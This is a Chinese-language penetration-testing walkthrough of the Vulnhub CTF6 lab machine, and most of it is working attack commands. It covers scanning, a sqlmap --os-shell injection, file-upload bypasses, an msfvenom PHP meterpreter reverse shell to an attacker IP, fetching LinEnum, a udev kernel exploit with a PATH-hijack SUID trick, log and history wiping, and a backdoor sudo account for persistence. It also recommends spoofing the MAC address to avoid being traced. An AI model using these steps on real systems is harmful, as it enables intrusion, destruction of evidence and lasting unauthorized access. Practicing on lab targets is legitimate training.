1. 靶机环境搭建与网络配置第一次接触Vulnhub靶机的朋友可能会觉得无从下手其实整个过程就像搭积木一样简单。我习惯在VMware Workstation里创建靶机环境这里以CTF6为例详细说明。首先去Vulnhub官网下载OVA文件导入虚拟机时记得选择保留原有配置。有个小技巧导入完成后先把网络适配器改成NAT模式等开机后再改成桥接这样可以避免IP冲突。我的实验环境是这样的攻击机Kali Linux 2023.3IP自动获取靶机CTF6设置静态IP 192.168.10.40验证网络连通性时我更喜欢用arp-scan而不是pingarp-scan -l --interfaceeth0这个命令能直观显示局域网内所有设备的MAC地址和厂商信息比单纯ping更可靠。如果发现靶机没反应先检查虚拟机的网络编辑器是否开启了允许混杂模式这个选项对后续流量捕获很关键。2. 全方位信息收集实战2.1 智能主机发现技巧很多教程一上来就用nmap扫全网其实效率很低。我的经验是先缩小扫描范围netdiscover -r 192.168.10.0/24 -i eth0加上-P参数可以显示进度条-c参数控制发包数量默认6个在大规模网络扫描时特别有用。发现靶机IP后立即用macchanger修改攻击机MAC地址是个好习惯可以避免被溯源。2.2 深度端口扫描方案常规的nmap扫描会漏掉很多信息我改良后的扫描方案分三个阶段# 第一阶段快速确认开放端口 nmap -Pn -n --open -T4 192.168.10.40 -oN quick_scan.txt # 第二阶段服务版本探测 nmap -sV -sC -O -p$(cat quick_scan.txt | grep open | awk -F/ {print $1} | tr \n ,) 192.168.10.40 # 第三阶段全端口终极扫描 nmap -A -T4 -p- --scriptvuln 192.168.10.40这种分层扫描法既节省时间又能获取完整信息。当发现80端口开放时立即用whatweb识别CMSwhatweb http://192.168.10.40 -v2.3 高效目录爆破策略dirb的默认字典太大实战中我更喜欢用定制字典gobuster dir -u http://192.168.10.40 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50关键参数解析-t 控制线程数根据网络状况调整-x 指定扩展名过滤-k 跳过SSL证书验证发现敏感目录后第一时间用wget递归下载wget -r -np -nH http://192.168.10.40/docs/3. 漏洞组合攻击详解3.1 SQL注入的精准利用手工测试注入点有个小技巧在参数后加和and 11/and 12观察响应变化。确认注入存在后sqlmap的进阶用法是sqlmap -u http://192.168.10.40/?id1 --batch --tamperspace2comment --level5 --risk3 --dbmsmysql --os-shell重要参数说明--tamper 绕过WAF--os-shell 直接获取系统shell--batch 自动选择默认选项获取到管理员凭证后不要急着登录先用Burp Suite抓包分析登录流程有时能发现隐藏参数。3.2 文件上传的绕过艺术遇到上传限制时我常用的绕过手法修改Content-Type为image/jpeg添加GIF文件头利用.htaccess设置解析规则使用双扩展名如shell.php.jpg生成木马时推荐用这个更隐蔽的版本msfvenom -p php/meterpreter/reverse_tcp LHOST192.168.10.73 LPORT4444 -f raw -e php/base64Base64编码能绕过部分内容检测。上传后找不到路径查看页面源代码搜索upload关键词或者用开发者工具监控网络请求。4. 内核提权高阶技巧4.1 自动化信息收集拿到普通shell后先运行自动化脚本收集信息wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod x LinEnum.sh ./LinEnum.sh -t -k keyword重点关注SUID/SGID文件Cron jobs可写目录环境变量4.2 udev漏洞深度利用发现内核版本2.6.x后除了直接用现成exp还可以手动编译gcc -Wall -stdc99 udev_exploit.c -o udev_exploit上传前记得静态编译gcc -static -o udev_exploit udev_exploit.c执行时如果遇到权限问题试试这个技巧echo chmod s /bin/bash /tmp/.bypass PATH/tmp:$PATH5. 痕迹清理与后渗透提权成功后别忘了清理日志echo /var/log/auth.log find / -name .*_history -exec rm -f {} \;建立持久化访问的方法echo root:password | chpasswd useradd -m -s /bin/bash backdoor echo backdoor:password | chpasswd usermod -aG sudo backdoor在meterpreter会话中我习惯用这些后渗透模块run post/linux/gather/hashdump run post/linux/gather/enum_configs run post/linux/gather/checkvm整个渗透过程最关键的其实是信息收集阶段我遇到过很多次都是因为漏掉一个小细节导致绕了远路。建议每次测试都做好完整记录包括所有尝试过的命令和对应的返回结果。